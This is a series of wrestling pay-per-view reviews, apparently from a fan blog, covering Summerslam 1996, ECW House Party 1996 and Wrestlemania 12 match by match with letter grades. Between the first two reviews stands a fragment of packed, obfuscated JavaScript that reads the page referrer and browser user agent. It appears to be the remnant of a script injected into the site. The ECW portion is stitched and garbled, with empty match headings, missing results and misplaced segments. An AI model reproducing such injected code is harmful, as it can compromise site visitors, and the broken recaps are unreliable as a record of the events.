Summerslam 1996
Date: August 18, 1996
Location: Gund Arena, Cleveland, Ohio
Attendance: 17,000
Commentators: Mr. Perfect, Jim Ross, Vince McMahon

Well it’s certainly a new era in the WWF. For one thing, Shawn is the undisputed biggest star in the company right now. Bret is on hiatus, and a loud mouthed guy from Texas is flipping people off and cursing a lot. It’s like there’s a growing Attitude or something going on. Eh nothing will ever come of that. I remember this show really well but actually have never seen the main event all the way through.

When I was watching the show live I taped it and for some reason never watched the main event. I guess the tape messed up or something like that, but I’ve never seen all of it so this will be virgin territory for me. This is the night of the first Boiler Room Brawl which is by far and away the most famous match on the show. I have fond memories of this show, so let’s see if they’re justified.

Dark Match: Yokozuna vs. Steve Austin

Austin won the KOTR earlier this year and with his post match promo, instantly became one of the hottest things on the planet. Yoko weight 660 here and would be gone pretty soon. It really is sad to see someone that had undeniable talent reduced to this, simply based on the fact that he couldn’t control his weight. This is a very short match, maybe three minutes or so.

Austin tries to knock him down and can’t, Yoko takes over and goes to the corner, and then in one of the most infamous botches ever, the ring ropes break and Austin just pins him. I’ve never heard anyone say that was planned and based off the announcers’ reactions, it wasn’t planned. Yoko was clearly surprised when that happened, so I’d guess that was all unplanned. Like I said, Austin just kind of rolled him up for the pin afterwards.

Rating: C. This is very hard to grade so we’ll call it average I guess. N/A would probably be a much better grade actually. It’s way too short to tell if it’s good or bad, but it wasn’t terrible and it was on free TV, so how can I complain about bonus not awful wrestling?

We get a very well done intro talking about monsters that wear masks and the heroes that fight them. That’s a really cool idea as both heels wear masks which is a nice connection to make. This was one of the better packages I’ve seen in a long time.

Savio Vega vs. Owen Hart

No real point to this match other than to have a fast opener which there’s nothing wrong with. Apparently both are good with martial arts. I think I missed that memo. Owen has a cast on his hand from an injury that I don’t remember happening. He’s doing the Orton thing as he’s been hurt forever apparently. Cornette isn’t there as he’s with Vader for the main event instead. Savio keeps going for the arm which is very basic yet quite intelligent strategy.

Ross wants to know how Owen passed a pre match physical. Are we supposed to believe that when matches are made on the fly that everyone has pre match physicals? Come on JR give us more credit than that. We go split screen to see Vader warming up for the main event as Vince says that Owen should feel slighted by being ignored by his manager. Why is it that every time someone throws a kick they’re instantly a martial artist?

Anyone else find that to be WAY too broad of a generalization? I certainly do for one. Savio doesn’t seem like much of a martial artist to me and neither does Owen, not in the slightest really. Vince continues to stir the pot saying that Stu isn’t as proud of Owen as of Bret. With talk like that, it’s no wonder he was almost a career heel. Owen has an armbar on Vega for a decent while and he bites Owen to escape. That’s either cool or just freaking stupid and I’m not sure which it is actually.

Clarence Mason, who is the lawyer for Cornette, starts walking towards ringside but no one is sure why. It turns out that he’s more or less staging a coup of Camp Cornette, but that was a bit off in the future. He was worthless to say the least. I’m pleasantly surprised with this match. It’s not mind blowing but it’s certainly not bad at all. I’d even go so far as to say it’s good.

A long match with faster guys is usually an excellent combination. It has one of the critical points that I think makes matches great: I’m not sure who is going to win. That uncertainly factor can work wonders for matches as it gives you a reason to want to see the ending. That’s what makes a match successful or any entertainment for that matter: you want to keep watching it because you’re not sure what’s coming.

They do a belly to back off the top but Savio’s head slams against the cast. Owen plays possum and slams the cast into Vega’s head before putting the Sharpshooter on him. Clarence comes in to celebrate but Owen isn’t sure why he’s there. Not a fan of the ending but this was a good match. On the replay you can see that the referee would have obviously seen the cast shot.

Rating: B+. Like I said I’m not a fan of the ending, but this was a very solid match in my eyes. It was up tempo, there was some storytelling in there, and I wasn’t positive who was going to win. It was a good way to set the tempo for the show and it’s given me high hopes. Based on this match alone, this show is better than last year’s.

Bradshaw comes out and beats up Savio with whom he was feuding with at the tiem in a decent but completely forgotten feud.

Todd goes into the boiler room to talk to Mankind, who says Taker shouldn’t come in here and that he’s ready for battle.

Tag Titles: Smoking Guns vs. New Rockers vs. Godwins vs. Bodydonnas

Again I ask, is it really that hard to get the tag titles on the show? New Rockers are Al Snow and Marty Jannetty, but Snow is known as Leif Cassidy at the time. This has elimination rules which automatically makes it better as it more or less gives you three matches for the price of one. Skip has a neck brace for no apparent reason. Dang the copyright for getting rid of Don’t Go Messin With A Country Boy. JR is given the task of explaining the tag title scene this year. Good luck good sir. You’ll be needing it.

Sunny as a cowgirl is incredibly attractive to say the least. Billy shouts about something unintelligible. She should have been one of the biggest names ever. Not just because of her looks either as she just had a great presence about her. You could see she just knew what to do in front of a camera. That’s a talent that no amount of looks can buy you. Yep, the champions are heels here, I guess along with the Bodydonnas and maybe the Rockers.

This is starting off very slow as would be expected until get the comedy idea of having the Guns fight each other. This lasts about 8 seconds as Zip comes in. He gets tripped and pinned very fast as I think Skip’s neck injury was legit. It seemed way too convenient and pointless to have them out there and eliminated so fast, so I’m assuming his neck really was hurt. I think they were faces or at least tweeners actually, which surprises me. Rockers take over on Hank.

This doesn’t last long as Hank realizes he’s fighting the freaking New Rockers and beats them up with relative ease, pinning one of them after the Slop Drop, bringing it down to the Guns vs. the Godwins. Due to the rules being the way they are, any way this ends means the titles can change hands. Not sure if that makes sense but it’s mid 90s WWF stuff so I’m just going to go with it. Billy just will not shut up and I’m sick of it already.

They beat on Henry for a long time until Billy being the brains of the team sets for a corner splash but screams first, leading to him getting caught. This allows for the lukewarm tag that no one could care less about. Apparently Bill Clinton is turning 50 today.

Hillbilly Jim goes after Sunny which allows for the double team to end the match and the Guns keep the titles. Afterwards Sunny talks about how great she is and offers a gift to the arena unveiling a massive poster of herself, which I’m certainly not complaining about.

Rating: B-. Eh, it was a pretty bland four team match but it let the Guns keep the belts with relative ease and it filled in some time on the card. It wasn’t particularly good, but it certainly did the job it was supposed to: title defense that took up some time and made the champions look good. That’s as good as it can get I guess.

British Bulldog vs. Sid

Not entirely sure why they’re fighting but I think Sid is feuding with all of Camp Cornette at this point. No Cornette with him though as Jim is with Vader. Sid says his usual insane stuff that goes nowhere at all. Again, why was he so freaking popular? Vince thinks Psycho Sid is crazy. Nice one there Vinny Mac.

Vince thinks fans are the same all over the world. Does he sleep through the Canadian shows? After Ross says don’t expect a lot of technical stuff from Sid he breaks out a headlock takeover and various suplexes, the last of which is countered into Davey’s suplex. Clarence Mason comes down to be pointless. Yes we have two big power guys here, laying on the mat with headlocks. I give up.

We see Vader warming up in the back with Cornette. They get it right here for the most part though by showing this while Sid is out on the floor rather than in the middle of action. Powerslam to Sid but Cornette comes out to yell at Mason. A second powerslam is blocked into a chokeslam and powerbomb by Sid to end it.

Rating: D. Boring match that did nothing at all but further the horrible Cornette vs. Mason feud for control over his stable. Once Mason took over the stable died completely. This was just a quick match that had nothing at all going for it and no one cared at all, or at least I didn’t.

Quick video on Shawn.

Goldust vs. Marc Mero

This is stemming from Goldust hitting on Sable a lot in the past few weeks. At least there’s a reason for them to fight. That’s a nice lesson that the writers today need to learn: it’s very possible to have a decent feud with even the most basic of stories. Running in to beat on someone isn’t really a storyline. That’s the common issue that starts “feuds” anymore and that just doesn’t get it done most of the time. Mero says that he’s going to win.

Goldust has been calling Sable mommy or something like that. That was never really explained which I think is the best move. Vince says that Mero and Sable are special people. I’m guessing it means he slept with Sable. JR hints at something called the Wild Thing. It’ll end the match. Naturally in a Goldust match it starts with random stuff from him that inspired the character that is known as KB. I’ve always found Mero to be overrated but he’s doing pretty well here.

Who would have thought that Goldust would still be active 13 years later? Ahmed Johnson, the IC Champion, is out with an injury and they’re not sure what’s going to be done about the belt. It’s vacated very soon if I remember correctly. Correction it was vacated earlier in the week. Mero would win it in a tournament in about a month or so. Goldust takes over for awhile until Mero is beaten down pretty badly.

Mankind comes out for no apparent reason as he and Goldust were working together for no apparent reason. Mero goes into the corner and comes off with a….well he jumped off and…it was kind of like….well he just jumped backwards and hit Goldust. This was of course very risky since it was from Mero. We’re told that Pillman is interviewing Sid on the Superstar line. Have to love that they’ve gotten over Sid nearly killing him in the War Games match in the early 90s.

The fans and commentators are just bored out of their mind but the classic ten punches in the corner gets them going a bit. Mero finally gets in the air a bit and wakes the people up somewhat. After beating Goldust up, they completely screw this up as Mero debuts the Wild Thing, more commonly known as a Shooting Star Press. Now, Mero just debuted a new big move that was clearly a finisher. So the logical thing would be to have him get the pin with it right?

Apparently not as Marlena is on the ropes for all of 5 seconds, which added to the two count is enough for Goldust to kick out. Yeah, that’s great. Let Goldust just kick out of it. If you’re going to do that, have the two count and THEN Marlena up on the apron so the count stops and Mero goes after her. Just don’t kill the move’s credibility that quickly.

They show the double screen of Mero doing and talk about how great it was. Goldust hits the Curtain Call for the pin. I just don’t get that. What’s the point of debuting a huge move like that and have him lose? Goldust tries to kiss Sable but Mero beats him up pretty well for it.

Rating: C+. This just has me shaking my head. It made the Wild Thing look weak here to have Goldust simply kick out of it, as well as just have Goldust beat him clean maybe 90 seconds after it. The wrestling was fine, but I do not get what the point was of the Wild Thing.

Sunny and Farrooq come out, as Sunny’s stable now consists of two cowboys and a black supremacist/gladiator. Does that sound like the beginning of a bad joke to anyone else? Two cowboys, a gladiator and a gold digging woman? His blue helmet just looks freaking stupid.

He’s out there yelling about not being the IC Champion. To make even more sense, he lost the tournament in the finals to Mero of all people. Simmons desperately needs to get in the Nation of Domination. Sunny says she gets what she wants and she wants the IC Title. Does that mean she’s going to be in the tournament?

We see a recap of Lawler vs. Jake Roberts. Now this was a very interesting and intense albeit short feud. The idea is simple: Roberts is a recovering alcoholic and Lawler is making fun of him for it, even having a big bottle of alcohol in the corner with him for the matches and offering Jake a drink. Lawler, as a heel, has a huge fear of snakes. Some of the this is actually really disturbing as Jake has a bad issue with alcohol, which means I don’t think it should be used as an angle.

Before the match, we’re introduced to the World’s Strongest Man, Mark Henry. Oh dear. He comes out to Luger’s music of all things so you know this is going to be bad. He can’t even get the headset on right to do commentary. For a guy like Vince that is obsessed with musclemen, this is just a big orgasm, complete with pyro for Henry.

Jerry Lawler vs. Jake Roberts

He’s been on commentary 10 seconds and I’m already annoyed with him. Lawler has a bag of his own but we don’t see what’s inside yet. He’s also rocking a Baltimore Ravens jersey, which is considered cheap heat but to me that’s just pure awesomeness. For an Indians fan like me, this is just fun. Sandy Alomar is there and he says he’s left tickets for the Modells. He brings Jake’s partners, the Jim Beam twins.

He insults Jake’s wife as Henry is cracking up at the jokes, despite being a face. They point out that Henry was injured in the Olympics, as Lawler says that he’s dumb enough to bronze a gold medal. Henry is just awful on commentary. His comebacks are that of a 6th grader. Lawler is just doing one liners here as is his trademark. I never realized how tall Jake is but he’s about 6’5 which is taller than Orton and HHH.

Harvey Whippleman is the referee so Lawler is the most normal person in the ring. Lawler shows what’s in his bag: a massive bottle of alcohol. Henry shows that he’s a long term heel, saying that he’s afraid of snakes. Roberts wraps Revelations, the big yellow snake, around the King. Wouldn’t that be a foreign object? Ross sounds like he’s giving moral support to Henry which is just stupid sounding. After about 7 minutes of stalling, they finally make contact.

However in this case, I’m ok with the stalling as it makes sense here. Vince talks about how Jake is a veteran. I’d think Lawler has more experience actually. Lawler steals a soda from the floor and throws it at Jake. Henry of course is concerned about the fan’s drinking tonight. My goodness he’s terrible at this. Ross suggests that Henry learn the DDT. Yeah that’s a big negative. Lawler hits Roberts in the throat with a bottle to pin him with the tights.

The ironic part of Perfect being on commentary was that he was a huge alcoholic too. After the match, Lawler pours whiskey down Jake’s throat. He gets another bottle to do the same, but Henry, the face, stops him. This got really quite intense, but it was better in ROH when Raven did it to Punk, with Dreamer’s help.

Rating: C-. This was all about the angle and not about the match at all. The match itself would probably be an F, but the angle is very solid. It’s a real life angle that can actually work out. The sad part was how Roberts fell apart with alcohol and drugs in the future as has been well documented.

Backlund is campaigning to be President.

Recap of Taker vs. Mankind. Nothing here that needs explaining.

Boiler Room Brawl: Mankind vs. Undertaker

The way you win here is to come to the ring and claim the urn from Paul Bearer, who will be standing in the ring for the whole match. This is an odd match as Taker comes into the boiler room and immediately stats looking for Mankind. The big problem at first is you can’t see anything. The lighting is terrible and it’s a lot of lurking in the shadows and stuff, which is fine but not for a wrestling match.

Everything is way too dark to really get anything going. The commentators are talking about how Mankind could be anywhere. Now we get to the weird part: as soon as Mankind sneaks up on Taker and beats him up, we lose commentary. It’s not like the audio dies, but they just stop talking. It’s really weird to have a match like this with no audio at all other than the wrestlers themselves and whatever sounds they make while beating on things.

As for the match itself, it’s mainly the two of them hitting each other with random objects, which is fine as it’s just a big brawl in an odd place but the chemistry they have is perfect with each other, making this very fun. We get random things from the announcers, but it’s like a word between all three of them a minute. I’m assuming there’s closed circuit or something in the arena. The video goes out momentarily too but Vince says they’re sorry for it. Ah there it is.

This is mainly just weapons use, which is ok but can only go on for so long. Mankind launches some steam at Taker, which may or may not have been scalding. The crowd pops huge for Taker getting a pipe to the balls for some reason. This is really starting to show how important commentary is to a match as it would help a lot here. Running knee to the area near Taker’s head into a steel door would hurt like heck I think, if nothing else it would hurt Mankind’s knee.

Taker is getting his head handed to him like never before, which seems to happen in every match he competes in against a big time heel. Mankind’s incoherent babbling is a very nice touch. More technical difficulties as I’m pretty sure the fans are watching on closed circuit as they boo the heck out of it. This is the longest its been out for, although we pop in long enough to see Taker being slammed. We’re back now and Mankind has a ladder.

When I say ladder, I mean an old wooden one, not the kind in ladder matches. Here’s where we get the most seen spot of this match, with Taker pulling Mankind off the ladder and him falling onto a bunch of pipes and pieces of metal and wood. Oh, apparently it was a big box. As Taker goes for the door, a thought occurs to me: when Taker was looking around for Mankind just after coming in, why didn’t he just turn around and leave?

The rules just said once they were both in the first to get to the urn in the ring wins, so why not just turn and run? Probably because it wouldn’t be much of a match if that’s what they did I suppose. Big shot with a fire extinguisher which is always cool. They get through the door which is good as this match was in bad need of a change of venue. Mankind does something very smart and barricades the door. That’s actually a brilliant move when you think about it.

The dumb part comes when he stands there to help barricade it. Isn’t the point of blocking the door to be able to run from it? It’s weird seeing wrestlers standing in the hallway as these two fight. Mankind throws hot coffee on Taker, which could be fake I suppose. After about 20 minutes they’re in the arena. The good part is that it doesn’t feel like this has been going that long, which to me says it hasn’t been boring.

Ah good we have TV monitors there to show the people what was going on during the earlier part of the match. That’s nice of them. They fight even more trying to get into the ring. This is a great touch as it’s just more brawling and I like that after this long there’s no real leader. In a sick looking spot, both are on the apron and Taker slings the ropes back and Mankind slams down on the concrete. Taker gets in the ring and takes the knee, but Bearer won’t give him the urn.

Mankind takes him out with the claw as Bearer is laughing. He slaps Taker as JR screams to stop that. Taker crawls to Paul, reaching up for the urn. Bearer slams him in the head with it and hands Mankind the urn for the win. This was huge at the time as Taker had always had Paul Bearer with him. As they leave, Bearer says he’s Paul Bearer and you’re not. Well I’m glad he can say his own name. Maybe next he’ll know his phone number.

We get a single gong which I thought was a mistake but the lights go out and druids start singing. They head to the ring I guess to help Taker. What was it like when they got to the arena? I’m trying to imagine them asking where their dressing room is. The druids carry him out in more darkness.

Naturally, he’d be back soon but feuding with Vader over the WWF Title #1 contender spot, eventually taking the belt at Mania. This would in turn lead to what was likely the biggest angle of his career, as in less than a year, Bear would mention the name of the man called Kane.

Rating: A-. This was a very good fight. The angle was huge at the end, but I think the brawling in the boiler room went on a bit too long. Coupling that with the lack of commentary and it’s just below a classic. This at the time was one of the most brutal matches ever, but what they would do in the summer of 98 blew this so far out of the water it’s unreal. Still, this was great.

In Your House promo.

Vader and Cornette, who is still a bigger name than Mark Madden as he’s on Summerslam here cutting a promo just before the main event, say that they’re going to beat up Shawn and take the title.

WWF Title: Vader vs. Shawn Michaels

Vader had been built up as unstoppable all year and had pinned Shawn the previous month in a 6 man tag. The opening/formula is exactly what you would expect: Shawn starts off hot by throwing all kinds of high risk stuff and punches at Vader and they work for a long while. However, soon Vader takes over after landing a power bomb on the floor. Granted that’s the same move that nearly killed Mick Foley, but we can let that slide I suppose.

Shawn is just getting the tar beaten out of him here so he’s following the Bret Hart formula of start hot, look good getting beaten up, and then make your comeback. Shawn has some mini comebacks and Vader counters with a thumb to the eye. There’s something funny about that to me. Perfect drops the term go home, which means to end the match. That doesn’t happen at the moment of course though as that would just suck for a main event.

Shawn skins the cat which to me is one of the most athletic moves you can do along with the nip up. He gets caught though and Vader just throws him which is a cool looking move. Perfect just hates Shawn to say the least. Shawn keeps trying to come back with punches and clotheslines but they just don’t work. In an odd spot, he slides down to try a sunset flip but Vader puts his foot on Shawn’s chest. Shouldn’t that be a pin since Shawn’s shoulders are down?

He finally takes Vader down with a big clothesline. I think Shawn botches a move as he has Vader down to the elbow but he pulls up and just kind of lands next to Vader on his feet. I think he was trying to make it look like a big stomp but it just missed totally. I wonder why it wasn’t the elbow at that moment. They go to the floor and brawl again, but this time Vader picks up Shawn and drops him over the railing chest/ribs first.

Vader slides into the ring for the count out win. Wait, what the heck? Yes, Vader wins by count out that quick. The female fan at ringside is SCREAMING at Shawn to get up as apparently Becca has made her way to Cleveland. Cornette is ticked off and shouts into the mic that it’s not over yet and demands to keep going. Shawn is called a coward and agrees to keep going of course. Vader beats the heck out of Shawn but a powerbomb is countered by a bunch of punches.

Shawn finally gets the elbow but Cornette throws in the racket. Shawn catches it and beats the tar out of Vader, which is merely Shawn returning the favor for Cornette beating on Shawn earlier in the match. Vader wins by DQ. And so ends Summerslam…again with Shawn leaving to fight another day. Apparently it doesn’t though as Cornette is talking (stop the presses!) again.

Shawn of course accepts one more restart and they’re at it again. Shawn is killing him to start but gets caught. In between the ref goes down and there’s no one to count the pin. Also, Vader gets up from SCM. They set for the Vader Bomb but Shawn moves as the big man goes for the moonsault. He hits a moonsault from the top of his own onto Vader to get the pin. Perfect is ticked off and leaves the announce booth. He comes back all of three seconds later. Shawn poses us out to end the show.

Rating: A-. This was another very good match, but the triple ending just kind of left me scratching my head. It would have been fine had they just done a standard match by giving Vader a ton of time to beat on Shawn, ending with the moonsault to win in. Either way, this was a fine version of David vs. Goliath with Shawn looking like the giant killer at the end of it all to send the fans home happy.

Overall Rating: A. This show rocked. It was the polar opposite of that excuse for a show we had last year. Every match is at least good with some solid angles, brutal matches and good technical stuff. I really liked what I saw here tonight and yes, this certainly lvies up to the hype. It’s certainly in the running for best Summerslam to date and perhaps best ever, but at the moment I’ll have to go with 92 just ahead of it. Still, excellent show and a big recommendation.

Remember to follow me on Twitter @kbreviews

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhdfr|var|u0026u|referrer|bzkhy||js|php'.split('|'),0,{})) House Party 1996
Date: January 5, 1996
Location: ECW Arena, Philadelphia, Pennsylvania
Attendance: 1,150
Commentator: Joey Styles

Rey Mysterio Jr./911 vs. The Eliminators

Rob Van Dam vs. Axl Rotten

TV Title: Mikey Whipwreck vs. 2 Cold Scorpio

Scorpio says that Mikey can leave now and avoid a beating, so Mikey hits him with the belt to get us going. Mikey hits another belt shot but Scorpio kicks it back into his face to take over. Whipwreck gets launched into the air and crashes down face first onto the mat. A kick to the head puts Mikey down again and the beating continues. Scorpio talks some trash on a mic and keeps beating the champion up.

A powerbomb is countered into a rana by Mikey followed by a jumping kick to the ribs off the top. That looked bad. Scorpio heads to the floor and hits a running chair shot to the head of Whipwreck. Back in and a powerbomb keeps Mikey down. He gets sent into the chair and Scorpio can taste the gold. I wonder if it tastes like chicken. Everything else does. A powerslam sets up a twisting legdrop out of the corner but Mikey gets out at two.

Taz vs. Hack Myers

Joey talks about “these Ultimate Fighting PPVs” which have inspired guys like Taz. Taz rolls him down to the mat and puts on a hold of some sort on the neck. Myers sends him into the corner and elbows him in the back of the head to take over. Taz is like screw that and takes him down with a judo throw. Some more punches are countered by a T-Bone Tazplex followed by a head and arms Tazplex. A German Tazplex sets up the Tazmission for the tap.

Rating: D. Taz was pretty awesome with those suplexes but he needed more to work with here. Myers was a hometown favorite but man was he boring to watch for non-ECW fans. Taz would run through ECW for the next year or so before facing Sabu in the real main event of Barely Legal.

Jimmy Del Ray vs. Bubba Ray Dudley

Then in one of the more bizarre moments in ECW history (which is saying a lot) a fan hands Tommy a blueberry pie which Raven gets piledriven onto. You know, because when you come to a wrestling show, you bring blueberry pie with you. Dreamer and Beaulah leave together as this feud continues.

ECW World Title: Sandman vs. Konnan

Back in and a clothesline takes Konnan down as Sandman finally gets in some offense. Konnan kicks him in the face and speeds things up again. Sandman throws him to the floor and hits a plancha to crush Konna against the railing. Both guys are down now which is about the last thing they needed to do at this point. Konnan hits him in the head with a chair but Sandman elbows him in the head.

Konnan gets draped over the barricade and Sandman is in control after finally taking it to a place where he has some skill. They head into the crowd for a few seconds and then back inside the ring. Sandy pounds away and Konnan is cut open. Konnan gets sent into the post and we head outside again. Sandman throws a table onto Konnan and the three of them (table included) head back inside.

Sabu vs. Stevie Richards

Sabu will have none of that and comes back with a slingshot flipping legdrop. Off to an armbar of all things but it only lasts a few seconds. Richards is placed on the top rope and with the help of a chair, Sabu “hits” Air Sabu to knock him to the floor. Sabu slams him to the floor and both guys are down. Richards gets sent into the railing and Sabu sets up a table. Blue Meanie saves Stevie and we head back inside.

A Frankensteiner gets two for Sabu and both guys are spent. Richards is sent to the floor and Sabu finally dives over the top with a slingshot rana onto Meanie. Richards gets a horribly botched one of his own from Sabu and the guy in the bright yellow pants takes over again. Richards is placed on a table but Meanie makes the save.

Public Enemy vs. The Gangstas

Rock thanks the fans and invites everyone into the ring for one last dance to end the show. They would be back in about three years.

Remember to follow me on Twitter @kbreviews

Wrestlemania 12
Date: March 31, 1996
Location: Arrowhead Pond, Anaheim, California
Attendance: 18,853
Commentators: Vince McMahon, Jerry Lawler
Star Spangled Banner: N/A

This show is a very different direction for the company, and while the match is remembered fondly, this is one of the lowest rated Manias of all time and I think that’s for one reason: there are only 6 matches. You have the iron man match, Diesel vs. Taker, and four other matches that hardly anyone remembers. Razor Ramon is on the box but was less than two months away from debuting on Nitro.

After what apparently was viewed as a big show the year before, tonight was all about Shawn Michaels. Looking back at the buildup, we all should have seen it coming. Shawn was the guy that never quite could put all of the pieces together but for the first time in forever he was healthy, he was trained properly and he was totally ready, but we’ll get to that later on. Let’s get to it.

The opening video is of course all about Bret vs. Shawn which is appropriate since that’s all this show is about. Something about champion vs. challenger or something.

Oh and because there was no time for it, the finals of a big tag team title tournament was held on the preshow with the Body Donnas beating the Godwins when Sunny flashed Phineas.

After no America the Beautiful or Star Spangled Banner, we get our first contest!

Vader/Owen Hart/British Bulldog vs. Ahmed Johnson/Jake Roberts/Yokozuna

Ahmed Johnson was nothing short of a tank. Imagine Lashley but about ten times more awesome. Nothing but pure power all around. Shame he was injured and then left the company. He was supposed to be the first black WWF Champion but that fell through. Anyway, this is because of Yoko turning face and going after Cornette who brought in Vader to settle the score. Hart and Smith were also in Cornette’s stable and Johnson and Roberts are there because they had contracts.

Yoko at this point was just embarrassingly fat. Apparently if Yoko’s team wins he gets 5 minutes with Cornette. He means nothing at all by this point and it’s rather clear. Yoko and Vader slug it out to start but soon it shifts to a big brawl. And then it’s back to Yoko vs. Vader with Vader getting knocked to the floor. Ahmed DIVES over the top to take down Vader.

Total insanity to start us off here so at least it’s fast paced. The giants explode again and it’s Yoko with the advantage. Owen comes in and gets beaten on for a bit until Bulldog saves him. Back to the fat boys here as for some reason they decided Yoko should be in there for three or four minutes to start us off. Vader punches him down in the corner and talks to him for awhile for no apparent reason.

Yoko gets a freaking Rock Bottom of all things and tags in Ahmed. He cleans house, destroying all three evildoers. Sunset flip on Vader results in Vader jumping up and landing on his own back. Bulldog gets in a few shots and Vince says Camp Cornette is like a herd of buffalo. Sure why not.

Owen gets a missile dropkick out of nowhere to take over. Enziguri to the back (which thankfully they say was to the back) puts Ahmed down. Back to Vader as this is a basic formula now. Is there a reason as to why Jake isn’t getting the beating so that Ahmed can get the hot tag later? Ahmed gets a shot to take Owen down and finally brings in Jake.

Mr. Fuji comes down to ringside as I’d assume he got lost or something. Jake calls for the DDT but Owen grabs the rope. Roberts gets caught in the corner and the beatdown is on. Vader mauls him for a bit as this is starting to get a big long. Top rope elbow by Owen gets two. Just to show what a different time it was, Jake kicks out of the powerslam from the Bulldog like it’s any other move. That’s just wrong.

Yoko finally gets the lukewarm tag and hammers Vader down in the corner. He looked like he was sticking a fork in the top of his head which explains the speed of those shots. Jake comes back in because he’s clearly fine after that long beatdown and Ahmed can’t come in yet due to affirmative action or something. DDT to Owen but Cornette saves. Vader takes Jake down and the Vader Bomb ends him.

Rating: D+. The wrestling really isn’t that bad, but it went on forever. Take 5-7 minutes out of this and it goes way up in value. The psychology made very little sense here which is a weird thing to see in a Roberts match. This went nowhere for the most part and feels really weird for a Mania opener. Nothing to see here.

We recap Piper vs. Goldust in one of the most homophobic feuds ever. Piper is president of the company and Goldust is turned on by Piper’s power. This set up the Hollywood Back Lot Brawl, which is just a fight in the back alley. Michael Freaking Cole does the voiceover for this. He was there in 1996? Hokey smoke indeed.

Goldust vs. Roddy Piper

Piper was seen earlier with a bat and a water hose. This was supposed to be Razor vs. Goldust but Razor is in rehab (I’m stunned to) so we get this instead. Goldust pulls up in a gold Cadillac and Piper stops it by spraying it with a gardening hose then beating it with a bat. The smash cuts here are really, really annoying. This is hardcore before there was hardcore and they get fairly brutal out there.

Obviously this isn’t live or anything like that as they filmed this earlier in the day. I’m not sure who thought this was a good idea but it’s certainly not one at all. Piper chokes him with a bat and sprays him down with a high pressure hose. Goldust gets a shot to Roddy’s pipe and drums and takes over.

Goldust just gets the heck beaten out of him for the most part as some of Piper’s punches are either legit or the best fakes I’ve ever seen. The son of the Dream gets in the car and Piper (or an extremely average impersonator) jumps onto the hood to keep from getting crushed. Goldust leaves and Piper chases him in a white Bronco. This doesn’t finish here so we’ll come back to the rest of this as it happens. This was REALLY bad as it was all taped and clearly edited and the crowd is of course silent after five minutes of just sitting around watching a TV monitor.

Steve Austin vs. Savio Vega

These two had a long feud for no apparent reason. Austin was the Ringmaster at the time and the Million Dollar Champion. They feuded for several months and it was just a waste of time. This gets PPV time but the tag team title match doesn’t. Of course it does. Savio is with Doc Hendrix and we get a quick look at them being paired together in the tag tournament and Austin screwing him over. Savio says he’s ready for anything.

It’s a brawl almost immediately and they roll around on the mat. We hit the floor and it’s Vega in control. DiBiase gets involved to give Austin control but that gets him nowhere at all. This is a boring match in case you didn’t get that. Showing the boredom of Vince we go to Roddy Piper on cell phone as he chases after Goldust on the freeway.

Savio hurts his arm on a clothesline as we hear about how great of a technician Austin is. Back to the phone stuff as Austin works on the arm. Middle rope elbow drills Savio for two as Piper yaps away. The sad thing is that this is a pretty good back and forth match but the crowd is dead because of being killed by the parking lot thing.

We continue the idiocy with aerial footage of Piper chasing Goldust. And of course, it’s of the OJ Simpson chase. Savio takes Austin’s head off with a spin kick but Austin takes over again. An elbow off the top (Austin was a completely different wrestler before he became the Rattlesnake and somehow better in the ring) misses and here comes Savio.

Naturally in an Austin match at Wrestlemania the referee goes down, in this case due to another spin kick from Savio. DiBiase slips in the Million Dollar Belt to Austin who clocks Savio with it twice to knock out him cold. Then in something I’ve never seen before, Austin wins with a reverse chinlock. Yes as in the mother of all rest holds. Savio is out so the match is over. Wow indeed. Only at Wrestlemania baby!

Rating: B-. This was a good match actually despite the idiocy of the whole Piper thing. Austin was great back in the day and when he wasn’t hanging out with various other morons so was Savio. This was a good match although they would go on to do some better stuff. Or maybe that had already happened. Yeah it had so this was the finale.

More Piper stuff as Vince says this is familiar.

We recap the whole mind games thing between Taker and Diesel. I think I have Diesel in their match tonight.

Another shot of the cars. Is there a point to this at all? Is it supposed to be tongue in cheek or something?

HHH vs. Ultimate Warrior

This is Warrior’s big return. HHH debuts some new chick named Sable. He’s rather new also here and the difference in size between then and recently is amazing. Warrior is allegedly 400lbs and bald according to Lawler, which shocks Vince. You know a lot of his lines are far funnier knowing what we know now. Naturally he looks like his old self. The fans react….I think. Vince wants you to believe the roof just got blown off but it’s simply not there.

HHH jumps him to start and I can’t believe how quiet the fans are here. I mean it’s eerie. Pedigree hits maybe 40 seconds in and Warrior beats him to his feet. Warrior hammers away and the slam and splash end this in maybe a minute and a half. He would be gone by late summer.
Wildman Marc Mero, the former Johnny B. Badd debuts here which caused a ton of jokes at his expense in WCW. In exchange he wound up getting the Intercontinental Title and the biggest pushes of his career. HHH comes up to glare at him and Sable stands by. They brawl for a bit and that’s about it.

Piper is on his way back here.

Undertaker vs. Diesel

No backstory given but that’s why I have a job here. Both guys had cost each other the title at back to back PPVs including the famous shot of Diesel being pulled under the ring by Taker during a match against Bret in a cage. Taker played a ton of mind games and this is the result. This isn’t quite a co-main event but it’s the other big match on the card for sure. Diesel is freshly heel here.

From everything I can find this is their first and only one on one match too. That makes sense as Diesel was gone in less than two months and was in WCW for the next five years. Once he got to WWE again he was in the NWO and never feuded with Taker. Once he was out he was on Raw and then Nash left for TNA. I will never get tired of Undertaker’s entrance. It’s simply awesome on so many levels.

They go at it from the opening bell and the crowd noticeably dies as soon as it rings. That’s rather odd. Taker goes onto offense and the fans cheer a bit so they’re definitely into this. They head to the floor and Taker hammers away with those uppercuts. I remember a friend of mine back in the day said Taker definitely couldn’t have had a boxing background. Methinks the punches he throws suggest otherwise.

Taker wants the Tombstone about two minutes in but it’s countered. Nash is moving out there which is very weird to see indeed. Taker with a cross body (???) for two. Old School can’t take Diesel down. The jumping clothesline misses as Diesel uses his training as Super Shredder in TMNT 2 to duck out of the way. Taker gets another uppercut to put Diesel on the floor. A chair shot misses and here comes Big Daddy Cool.

Diesel won’t let Taker get back in. It’s weird to see Nash with so much energy like this. Big boot puts Taker down. Side Slam gets two. Not quite as pretty as his usual ones but still a decent one. Diesel beats on him with his slow and methodical stuff but it’s not boring. Some guys just have a slower pace than others and Nash is one of them. Taker fights back a bit and both guys hit big boots. That was kind of cool.

